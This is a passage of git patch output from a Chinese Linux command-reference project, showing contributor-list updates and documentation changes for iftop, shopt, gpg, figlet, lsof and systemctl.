接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 98100a2526d4429e75968233778e1063183aa96d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 7 Apr 2024 08:58:34 +0000 Subject: [PATCH 0849/1019] doc: update README.md. --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 4d1fe93c1f0..d458385bc2b 100644 --- a/README.md +++ b/README.md @@ -424,6 +424,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 juemuren4449 jqz3.tech jcdj666 +hululu1068 huangyao gcluffy ghy @@ -435,7 +436,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny dayday cxalc -Mystic 黑&蛋 Panthea Johnson 远方 @@ -466,6 +466,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey shuangcui shc +Mystic MinsonLee Marnm mwei From bcaecdbbcc344a3c2f76428c83f5c7fd53a89205 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 7 Apr 2024 08:58:35 +0000 Subject: [PATCH 0850/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index eb8277186b1..c45b19a75bd 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -61,6 +61,7 @@ juemuren4449 jqz3.tech jcdj666 +hululu1068 huangyao gcluffy ghy @@ -72,7 +73,6 @@ Deny dayday cxalc -Mystic 黑&蛋 Panthea Johnson 远方 @@ -103,6 +103,7 @@ snovey shuangcui shc +Mystic MinsonLee Marnm mwei From 50a90439edb31e7a877ab6f08d9f8e745b5e6831 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=A1=B9=E9=87=91?= Date: Thu, 18 Apr 2024 15:42:09 +0800 Subject: [PATCH 0851/1019] doc: Update iftop.md (#573) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 完善iftop参数解释 --- command/iftop.md | 49 ++++++++++++++++++++++++------------------------ 1 file changed, 24 insertions(+), 25 deletions(-) diff --git a/command/iftop.md b/command/iftop.md index 6f64c6762fd..0449a3eccbf 100644 --- a/command/iftop.md +++ b/command/iftop.md @@ -16,39 +16,38 @@ iftop(选项) ### 选项 ```shell -iftop: display bandwidth usage on an interface by host +iftop: 按主机显示接口带宽使用情况 -Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code] +参数: iftop -h | [-npblNBP] [-i interface] [-f filter code] [-F net/mask] [-G net6/mask6] - -h display this message - -n don't do hostname lookups - -N don't convert port numbers to services - -p run in promiscuous mode (show traffic between other - hosts on the same network segment) - -b don't display a bar graph of traffic - -B Display bandwidth in bytes - -i interface listen on named interface + -h 显示帮助信息 + -n 不要讲ip转为主机名 + -N 不要将端口转为对应服务名 + -p 以混杂模式运行(显示同一网段内其他主机之间的流量) + -b 不要展示流量通行条形图 + -B 使用Byte展示流量情况(默认展示的bit) + -i interface 指定需要监听的网络端口 -i eth0 -f filter code use filter code to select packets to count (default: none, but only IP packets are counted) - -F net/mask show traffic flows in/out of IPv4 network - -G net6/mask6 show traffic flows in/out of IPv6 network - -l display and count link-local IPv6 traffic (default: off) - -P show ports as well as hosts - -m limit sets the upper limit for the bandwidth scale - -c config file specifies an alternative configuration file - -t use text interface without ncurses + -F net/mask 展示指定IPV4网络的流量，参数可以是主机名/IP/掩码 + -G net6/mask6 展示指定IPV6网络的流量，参数可以是主机名/IP/掩码 + -l 展示本地网络/回环网络/ipv6流量 (默认值: 关闭) + -P 展示主机端口 + -m limit 设置带宽规模的上限 + -c config file 指定可选配置文件 + -t 使用文本模式展示 Sorting orders: - -o 2s Sort by first column (2s traffic average) - -o 10s Sort by second column (10s traffic average) [default] - -o 40s Sort by third column (40s traffic average) - -o source Sort by source address - -o destination Sort by destination address + -o 2s 按照第一列进行排序 (每2秒的平均值为一个计数周期) + -o 10s 按照第二列进行排序 (每10秒的平均值为一个计数周期] + -o 40s 按照第三列进行排序 (每40秒的平均值为一个计数周期) + -o source 按照原地址继续排序 + -o destination 按照目标地址进行排序 - The following options are only available in combination with -t - -s num print one single text output afer num seconds, then quit - -L num number of lines to print + 以下选项仅在与 -t + -s num 在num秒后打印一个文本输出，然后退出 + -L num 打印的行数 ``` ### 界面说明 From 33277f528d0bdc28cb6f03560aa260ac771fd3d6 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 18 Apr 2024 07:42:57 +0000 Subject: [PATCH 0852/1019] doc: update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d458385bc2b..26f0625cab1 100644 --- a/README.md +++ b/README.md @@ -373,8 +373,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 lutixiaya L clay-wangzhi -Glett 项金 +Glett 烟草的香味 Jayin Tang 丛林意志 @@ -436,7 +436,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Deny dayday cxalc -黑&蛋 +Yidan Wang Panthea Johnson 远方 谢民皆 From 764e369ce1ebc7734622cdd8262b979228bf3adb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 18 Apr 2024 07:42:58 +0000 Subject: [PATCH 0853/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index c45b19a75bd..ec7cc7d68c6 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -10,8 +10,8 @@ lutixiaya L clay-wangzhi -Glett 项金 +Glett 烟草的香味 Jayin Tang 丛林意志 @@ -73,7 +73,7 @@ Deny dayday cxalc -黑&蛋 +Yidan Wang Panthea Johnson 远方 谢民皆 From c327ee071593a0e788315f4868ac4ca0a2d56e85 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=A1=B9=E9=87=91?= Date: Tue, 23 Apr 2024 13:47:10 +0800 Subject: [PATCH 0854/1019] doc: Update shopt.md (#574) --- command/shopt.md | 59 ++++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 49 insertions(+), 10 deletions(-) diff --git a/command/shopt.md b/command/shopt.md index 6ead7cdde4f..770ef26ebc1 100644 --- a/command/shopt.md +++ b/command/shopt.md @@ -30,16 +30,55 @@ shell选项：指定要操作的shell选项。 ```shell shopt #输出所有可以设置的shell操作选项 -cdable_vars off -cdspell off -checkhash off -checkwinsize on -cmdhist on -dotglob off -execfail off -expand_aliases on -extdebug off -... +autocd off +cdable_vars off +cdspell off +checkhash off +checkjobs off +checkwinsize on +cmdhist on +compat31 off +compat32 off +compat40 off +compat41 off +compat42 off +compat43 off +complete_fullquote on +direxpand off +dirspell off +dotglob off +execfail off +expand_aliases on +extdebug off +extglob off +extquote on +failglob off +force_fignore on +globasciiranges off +globstar off +gnu_errfmt off +histappend on +histreedit off +histverify off +hostcomplete on +huponexit off +inherit_errexit off +interactive_comments on +lastpipe off +lithist off +login_shell on +mailwarn off +no_empty_cmd_completion off +nocaseglob off +nocasematch off +nullglob off +progcomp on +promptvars on +restricted_shell off +shift_verbose off +sourcepath on +syslog_history off +xpg_echo off ``` 如图上所示，选项"cdspell"的状态为"off"，即关闭cd拼写检查选项。现在，可以使用shopt命令将其开启，输入如下命令： From 64b1a4e130513c3c0dd69e365899ab9e5b3bc984 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Apr 2024 05:47:37 +0000 Subject: [PATCH 0855/1019] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 26f0625cab1..539d7f6b0be 100644 --- a/README.md +++ b/README.md @@ -372,8 +372,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Huck Huang lutixiaya L -clay-wangzhi 项金 +clay-wangzhi Glett 烟草的香味 Jayin Tang From 8dbd9766ccec1951d3cccce887d60aeb8061b241 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Apr 2024 05:47:38 +0000 Subject: [PATCH 0856/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ec7cc7d68c6..fff65c6ae51 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -9,8 +9,8 @@ Huck Huang lutixiaya L -clay-wangzhi 项金 +clay-wangzhi Glett 烟草的香味 Jayin Tang From a1150a1918689b915529763b29ea846b8a8ad679 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=8B=BE=E5=B9=B4=E8=80=81=E9=93=BA?= Date: Tue, 23 Apr 2024 17:31:32 +0800 Subject: [PATCH 0857/1019] doc: add gpg.md (#575) --- command/gpg.md | 88 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 command/gpg.md diff --git a/command/gpg.md b/command/gpg.md new file mode 100644 index 00000000000..242d3cfc4dc --- /dev/null +++ b/command/gpg.md @@ -0,0 +1,88 @@ +gpg +=== + +可用于签名、检查、加密或解密的工具 + +### 支持算法: + +Pubkey: `RSA`, `ELG`, `DSA`, `ECDH`, `ECDSA`, `EDDSA` +Cipher: `IDEA`, `3DES`, `CAST5`, `BLOWFISH`, `AES`, `AES192`, `AES256`, `TWOFISH`, + `CAMELLIA128`, `CAMELLIA192`, `CAMELLIA256` +Hash: `SHA1`, `RIPEMD160`, `SHA256`, `SHA384`, `SHA512`, `SHA224` +Compression: `Uncompressed`, `ZIP`, `ZLIB`, `BZIP2` + +### 语法 +```shell +gpg [选项] [文件...] +``` + +### 参数: + +```shell + -s, --sign 签名 + --clear-sign 生成明文签名 + -b, --detach-sign 生成一个独立的签名 + -e, --encrypt 加密数据 + -c, --symmetric 仅使用对称密码进行加密 + -d, --decrypt 解密数据 (默认) + --verify 验签 + -k, --list-keys 列出密钥 + --list-signatures 列出密钥和签名 + --check-signatures 列出并检查密钥签名 + --fingerprint 列出密钥和指纹 + -K, --list-secret-keys 列出私钥 + --generate-key 生成新的密钥对 + --quick-generate-key 快速生成新的密钥对 + --quick-add-uid 快速添加新的用户ID + --quick-revoke-uid 快速撤销用户ID + --quick-set-expire 快速设置新的过期日期 + --full-generate-key 全功能密钥对生成 + --generate-revocation 生成撤销证书 + --delete-keys 从公钥环中移除密钥 + --delete-secret-keys 从私钥环中移除密钥 + --quick-sign-key 快速签名密钥 + --quick-lsign-key 快速在本地签名密钥 + --quick-revoke-sig 快速撤销密钥签名 + --sign-key 签名密钥 + --lsign-key 本地签名密钥 + --edit-key 签名或编辑密钥 + --change-passphrase 更改密码短语 + --export 导出密钥 + --send-keys 将密钥导出到密钥服务器 + --receive-keys 从密钥服务器导入密钥 + --search-keys 在密钥服务器上搜索密钥 + --refresh-keys 从密钥服务器更新所有密钥 + --import 导入/合并密钥 + --card-status 打印卡片状态 + --edit-card 更改卡片上的数据 + --change-pin 更改卡片的PIN码 + --update-trustdb 更新信任数据库 + --print-md 打印消息摘要 + --server 以服务器模式运行 + --tofu-policy VALUE 为密钥设置TOFU策略 +``` + +### 选项: + +```shell + -a, --armor 指定ascii格式的输出 + -r, --recipient USER-ID 对特定用户ID的加密 + -u, --local-user USER-ID 使用 USER-ID 进行签名或解密 + -z N 设置压缩级别为N（0表示禁用） + --textmode 使用规范文本模式 + -o, --output FILE 将输出写入文件FILE + -v, --verbose 详细模式 + -n, --dry-run 不做任何更改 + -i, --interactive 在覆盖前提示 + --openpgp 使用严格的OpenPGP行为 +``` + +### 示例: + +```shell + -se -r Bob [file] 为用户Bob签名并加密 + --clear-sign [file] 生成明文签名 + --detach-sign [file] 生成一个独立的签名 + --list-keys [names] 显示密钥 + --fingerprint [names] 显示指纹 +``` From 1d6d128328c6f1af578a7a5b4b354f5ea22d9cf4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Apr 2024 09:32:20 +0000 Subject: [PATCH 0858/1019] doc: update README.md. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 539d7f6b0be..72027c509b8 100644 --- a/README.md +++ b/README.md @@ -372,7 +372,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Huck Huang lutixiaya L -项金 +拾年老铺 clay-wangzhi Glett 烟草的香味 From f707edbaa04a6f18ece734d3febc17f693766b75 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Apr 2024 09:32:21 +0000 Subject: [PATCH 0859/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index fff65c6ae51..1948fb9b80f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -9,7 +9,7 @@ Huck Huang lutixiaya L -项金 +拾年老铺 clay-wangzhi Glett 烟草的香味 From b764667dff672c1a77db7105d8cab838568436fd Mon Sep 17 00:00:00 2001 From: YEUNGCHIE <30793662+yeungchie@users.noreply.github.com> Date: Wed, 8 May 2024 07:56:40 +0800 Subject: [PATCH 0860/1019] doc: add figlet.md (#576) * add figlet.md * append description for install --- command/figlet.md | 160 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 160 insertions(+) create mode 100644 command/figlet.md diff --git a/command/figlet.md b/command/figlet.md new file mode 100644 index 00000000000..1b1dbcb9421 --- /dev/null +++ b/command/figlet.md @@ -0,0 +1,160 @@ +figlet +=== + +字符串转为 “字画符”。 + +## 安装 + ++ Ubuntu 等系统 + +```shell +apt-get update +apt-get install -y figlet +``` + ++ CentOS 等系统 + +```shell +yum install epel-release +yum install -y figlet +``` + +## 概要 + +```shell +figlet [ message ] [ -option ] +``` + +## 主要用途 + +- 将普通字符串转为有简单字符拼接而成的 “字画符”。 + +## 参数 + +message 是需要转换的字符串。 +当没有输入 message 时，会读取标准输入，因此可以配合管道符等使用。 + +## 选项 + +```shell +-w 限制输出宽度，默认为 '80' +-c 居中显示 +-f 指定字体，默认为 'standard' +-k 保留字符之间的空隙 +-t 对齐宽度到当前终端的宽度，这个参数优先级比 -w 高 +-v 显示版本信息 +``` + +## 返回值 + +字符串，由简单字符拼接而成的 “字画符”。 + +## 示例 + +- 从参数输入 + +```shell +figlet 'Hello, World!' +``` + +

+ _   _      _ _         __        __         _     _ _
+| | | | ___| | | ___    \ \      / /__  _ __| | __| | |
+| |_| |/ _ \ | |/ _ \    \ \ /\ / / _ \| '__| |/ _` | |
+|  _  |  __/ | | (_) |    \ V  V / (_) | |  | | (_| |_|
+|_| |_|\___|_|_|\___( )    \_/\_/ \___/|_|  |_|\__,_(_)
+
+ +- 配合管道符输入 + +```shell +echo 'Hello, World!' | figlet +``` + +
+ _   _      _ _         __        __         _     _ _
+| | | | ___| | | ___    \ \      / /__  _ __| | __| | |
+| |_| |/ _ \ | |/ _ \    \ \ /\ / / _ \| '__| |/ _` | |
+|  _  |  __/ | | (_) |    \ V  V / (_) | |  | | (_| |_|
+|_| |_|\___|_|_|\___( )    \_/\_/ \___/|_|  |_|\__,_(_)
+
+ +- 限制宽度 + +```shell +figlet 'Hello, World!' -w 40 +``` + +
+ _   _      _ _
+| | | | ___| | | ___
+| |_| |/ _ \ | |/ _ \
+|  _  |  __/ | | (_) |
+|_| |_|\___|_|_|\___( )
+                    |/
+__        __         _     _ _
+\ \      / /__  _ __| | __| | |
+ \ \ /\ / / _ \| '__| |/ _` | |
+  \ V  V / (_) | |  | | (_| |_|
+   \_/\_/ \___/|_|  |_|\__,_(_)
+
+ +- 居中显示 + +```shell +figlet 'Hello, World!' -w 40 -c +``` + +
+         _   _      _ _
+        | | | | ___| | | ___
+        | |_| |/ _ \ | |/ _ \
+        |  _  |  __/ | | (_) |
+        |_| |_|\___|_|_|\___( )
+                            |/
+    __        __         _     _ _
+    \ \      / /__  _ __| | __| | |
+     \ \ /\ / / _ \| '__| |/ _` | |
+      \ V  V / (_) | |  | | (_| |_|
+       \_/\_/ \___/|_|  |_|\__,_(_)
+
+ +- 指定字体 + +```shell +figlet 'Hello, World!' -w 40 -c -f slant +``` + +
+            __  __     ____
+           / / / /__  / / /___
+          / /_/ / _ \/ / / __ \
+         / __  /  __/ / / /_/ /
+        /_/ /_/\___/_/_/\____( )
+                             |/
+     _       __           __    ____
+    | |     / /___  _____/ /___/ / /
+    | | /| / / __ \/ ___/ / __  / /
+    | |/ |/ / /_/ / /  / / /_/ /_/
+    |__/|__/\____/_/  /_/\__,_(_)
+
+ +- 保留字符之间的空隙 + +```shell +figlet 'Hello, World!' -w 40 -c -k +``` + +
+       _   _        _  _
+      | | | |  ___ | || |  ___
+      | |_| | / _ \| || | / _ \
+      |  _  ||  __/| || || (_) |_
+      |_| |_| \___||_||_| \___/( )
+                               |/
+  __        __            _      _  _
+  \ \      / /___   _ __ | |  __| || |
+   \ \ /\ / // _ \ | '__|| | / _` || |
+    \ V  V /| (_) || |   | || (_| ||_|
+     \_/\_/  \___/ |_|   |_| \__,_|(_)
+
From 47e7cd9a755b69914617877ad23250ea90c594ff Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 7 May 2024 23:57:07 +0000 Subject: [PATCH 0861/1019] doc: update README.md. --- README.md | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 72027c509b8..a78af5f482f 100644 --- a/README.md +++ b/README.md @@ -372,7 +372,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Huck Huang lutixiaya L -拾年老铺 +圆头圆脑 clay-wangzhi Glett 烟草的香味 @@ -396,11 +396,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 沙漠之子 Shell xhal -wVVaTT +VVatt gggwvg Dazhuangw Alterem YH +YEUNGCHIE Xrtero Xingwen Zhang Shan Chenyu @@ -408,12 +409,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 BingCoke Pan, Wen-Ming Ein Verne -kassadin -kid1412621 -leo -lewis1573 -linuxwd Ricardowang +linuxwd +lewis1573 +leo +kid1412621 +kassadin cole myliwenbo miniwater @@ -435,7 +436,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dongpohezui Deny dayday -cxalc +Mystic Yidan Wang Panthea Johnson 远方 @@ -466,7 +467,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey shuangcui shc -Mystic MinsonLee Marnm mwei @@ -495,6 +495,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Cui Yang Azroy Alan +cxalc Forever121 c2ch brinkqiang @@ -506,7 +507,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 0Knot (0KN) Yunbin Liu Yan Sheng -YEUNGCHIE Xu Chunyang Xonline-Tech Xiaodong DENG From 4df5e92106e6e3cc5d05130c151d237863606a1b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 7 May 2024 23:57:07 +0000 Subject: [PATCH 0862/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 1948fb9b80f..a5f02f92225 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -9,7 +9,7 @@ Huck Huang lutixiaya L -拾年老铺 +圆头圆脑 clay-wangzhi Glett 烟草的香味 @@ -33,11 +33,12 @@ 沙漠之子 Shell xhal -wVVaTT +VVatt gggwvg Dazhuangw Alterem YH +YEUNGCHIE Xrtero Xingwen Zhang Shan Chenyu @@ -45,12 +46,12 @@ BingCoke Pan, Wen-Ming Ein Verne -kassadin -kid1412621 -leo -lewis1573 -linuxwd Ricardowang +linuxwd +lewis1573 +leo +kid1412621 +kassadin cole myliwenbo miniwater @@ -72,7 +73,7 @@ dongpohezui Deny dayday -cxalc +Mystic Yidan Wang Panthea Johnson 远方 @@ -103,7 +104,6 @@ snovey shuangcui shc -Mystic MinsonLee Marnm mwei @@ -132,6 +132,7 @@ Cui Yang Azroy Alan +cxalc Forever121 c2ch brinkqiang @@ -143,7 +144,6 @@ 0Knot (0KN) Yunbin Liu Yan Sheng -YEUNGCHIE Xu Chunyang Xonline-Tech Xiaodong DENG From f9babe1e8092e8be0ca0b1a4d09d854aad02982d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 8 May 2024 07:59:14 +0800 Subject: [PATCH 0863/1019] doc: update command/figlet.md #576 --- command/figlet.md | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/command/figlet.md b/command/figlet.md index 1b1dbcb9421..910c06fde57 100644 --- a/command/figlet.md +++ b/command/figlet.md @@ -51,41 +51,41 @@ message 是需要转换的字符串。 ## 示例 -- 从参数输入 +### 从参数输入 ```shell figlet 'Hello, World!' ``` -
+```bash
  _   _      _ _         __        __         _     _ _
 | | | | ___| | | ___    \ \      / /__  _ __| | __| | |
 | |_| |/ _ \ | |/ _ \    \ \ /\ / / _ \| '__| |/ _` | |
 |  _  |  __/ | | (_) |    \ V  V / (_) | |  | | (_| |_|
 |_| |_|\___|_|_|\___( )    \_/\_/ \___/|_|  |_|\__,_(_)
-
+``` -- 配合管道符输入 +### 配合管道符输入 ```shell echo 'Hello, World!' | figlet ``` -
+```bash
  _   _      _ _         __        __         _     _ _
 | | | | ___| | | ___    \ \      / /__  _ __| | __| | |
 | |_| |/ _ \ | |/ _ \    \ \ /\ / / _ \| '__| |/ _` | |
 |  _  |  __/ | | (_) |    \ V  V / (_) | |  | | (_| |_|
 |_| |_|\___|_|_|\___( )    \_/\_/ \___/|_|  |_|\__,_(_)
-
+``` -- 限制宽度 +### 限制宽度 ```shell figlet 'Hello, World!' -w 40 ``` -
+```bash
  _   _      _ _
 | | | | ___| | | ___
 | |_| |/ _ \ | |/ _ \
@@ -97,15 +97,15 @@ __        __         _     _ _
  \ \ /\ / / _ \| '__| |/ _` | |
   \ V  V / (_) | |  | | (_| |_|
    \_/\_/ \___/|_|  |_|\__,_(_)
-
+``` -- 居中显示 +### 居中显示 ```shell figlet 'Hello, World!' -w 40 -c ``` -
+```bash
          _   _      _ _
         | | | | ___| | | ___
         | |_| |/ _ \ | |/ _ \
@@ -117,15 +117,15 @@ figlet 'Hello, World!' -w 40 -c
      \ \ /\ / / _ \| '__| |/ _` | |
       \ V  V / (_) | |  | | (_| |_|
        \_/\_/ \___/|_|  |_|\__,_(_)
-
+``` -- 指定字体 +### 指定字体 ```shell figlet 'Hello, World!' -w 40 -c -f slant ``` -
+```bash
             __  __     ____
            / / / /__  / / /___
           / /_/ / _ \/ / / __ \
@@ -137,15 +137,15 @@ figlet 'Hello, World!' -w 40 -c -f slant
     | | /| / / __ \/ ___/ / __  / /
     | |/ |/ / /_/ / /  / / /_/ /_/
     |__/|__/\____/_/  /_/\__,_(_)
-
+``` -- 保留字符之间的空隙 +### 保留字符之间的空隙 ```shell figlet 'Hello, World!' -w 40 -c -k ``` -
+```bash
        _   _        _  _
       | | | |  ___ | || |  ___
       | |_| | / _ \| || | / _ \
@@ -157,4 +157,4 @@ figlet 'Hello, World!' -w 40 -c -k
    \ \ /\ / // _ \ | '__|| | / _` || |
     \ V  V /| (_) || |   | || (_| ||_|
      \_/\_/  \___/ |_|   |_| \__,_|(_)
-
+``` From 9b2d0a2da4b9b948287ef445a6a81be89849009d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 8 May 2024 08:04:10 +0800 Subject: [PATCH 0864/1019] doc: update command/figlet.md #576 --- command/fgrep.md | 4 ++-- command/figlet.md | 14 +++++++------- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/command/fgrep.md b/command/fgrep.md index fa64eaf0316..15bb38859c7 100644 --- a/command/fgrep.md +++ b/command/fgrep.md @@ -17,13 +17,13 @@ fgrep 命令于 grep 和 egrep 命令不同，因为它搜索字符串而不是 6. 输入文件应该以换行字符结尾。 7. 虽然可以同时指定很多标志，但某些标志会覆盖其余的标志。例如，如果同时指定 -l 和 -n ，只有文件名写入到标准输出中去。 -### 语法 +### 语法 ```shell fgrep(选项)(参数) ``` -### 选项 +### 选项 ```shell -b：在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。 diff --git a/command/figlet.md b/command/figlet.md index 910c06fde57..00934f2c03b 100644 --- a/command/figlet.md +++ b/command/figlet.md @@ -3,32 +3,32 @@ figlet 字符串转为 “字画符”。 +## 补充说明 + +将普通字符串转为有简单字符拼接而成的 “字画符”。 + ## 安装 -+ Ubuntu 等系统 +Ubuntu 等系统 ```shell apt-get update apt-get install -y figlet ``` -+ CentOS 等系统 +CentOS 等系统 ```shell yum install epel-release yum install -y figlet ``` -## 概要 +## 语法 ```shell figlet [ message ] [ -option ] ``` -## 主要用途 - -- 将普通字符串转为有简单字符拼接而成的 “字画符”。 - ## 参数 message 是需要转换的字符串。 From fe5f89b457f87a71d1fee54177b511f418c07b67 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Wed, 8 May 2024 12:06:13 +0800 Subject: [PATCH 0865/1019] doc: Update lsof.md #577 --- command/lsof.md | 92 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) diff --git a/command/lsof.md b/command/lsof.md index 5c419977c19..59ca84d9c2d 100644 --- a/command/lsof.md +++ b/command/lsof.md @@ -156,8 +156,100 @@ lsof -i:9981 -P -t -sTCP:LISTEN ```shell lsof $filename ``` + 查看端口占用 ```shell lsof -i:$port ``` +**查看所有打开的文件：** + +``` +lsof +``` + +**查看指定进程打开的文件：** + +``` +lsof -p +``` + +**查看指定用户打开的文件：** + +``` +lsof -u +``` + +**查看指定文件名相关的进程：** + +``` +lsof +``` + +**查看网络连接相关的进程：** + +``` +lsof -i +``` + +**查看指定端口相关的进程：** + +``` +lsof -i : +``` + +**查看正在使用某个目录的进程：** + +``` +lsof +D /path/to/directory +``` + +**查看被删除但仍然被某个进程打开的文件：** + +``` +lsof -u +L1 +``` + +**查看某个文件系统上被打开的文件：** + +``` +lsof /mountpoint +``` + +**以列表形式显示结果：** + +``` +lsof -F +``` + +**显示结果中不包含主机名：** + +``` +lsof -n +``` + +**显示结果中不包含进程路径：** + +``` +lsof -b +``` + +**以逆序显示结果：** + +``` +lsof -r +``` + +**以特定间隔时间循环显示结果：** + +``` +lsof -r +``` + +**以持续模式显示结果：** + +``` +lsof -t +``` + + From 5a574c8c69b1852c6403eecdc76a8dd6d5b7c5dc Mon Sep 17 00:00:00 2001 From: 0x_000 <32635468+loprx@users.noreply.github.com> Date: Tue, 14 May 2024 22:03:40 +0800 Subject: [PATCH 0866/1019] doc: update systemctl.md (#578) --- command/systemctl.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/command/systemctl.md b/command/systemctl.md index d4b41c7a36e..4a474c9cb0d 100644 --- a/command/systemctl.md +++ b/command/systemctl.md @@ -23,7 +23,9 @@ systemctl ```shell systemctl start nfs-server.service . # 启动nfs服务 systemctl enable nfs-server.service # 设置开机自启动 +systemctl enable nfs-server.service --now # 设置开机自启动，并立刻启动 systemctl disable nfs-server.service # 停止开机自启动 +systemctl disable nfs-server.service --now # 停止开机自启动，并立刻停止 systemctl status nfs-server.service # 查看服务当前状态 systemctl restart nfs-server.service # 重新启动某服务 systemctl list-units --type=service # 查看所有已启动的服务 From 75281c887fd4ccfb094ce889b04fa08a04eaa69c Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 May 2024 14:04:12 +0000 Subject: [PATCH 0867/1019] doc: update README.md. --- README.md | 33 +++++++++++++++++---------------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/README.md b/README.md index a78af5f482f..7d273831976 100644 --- 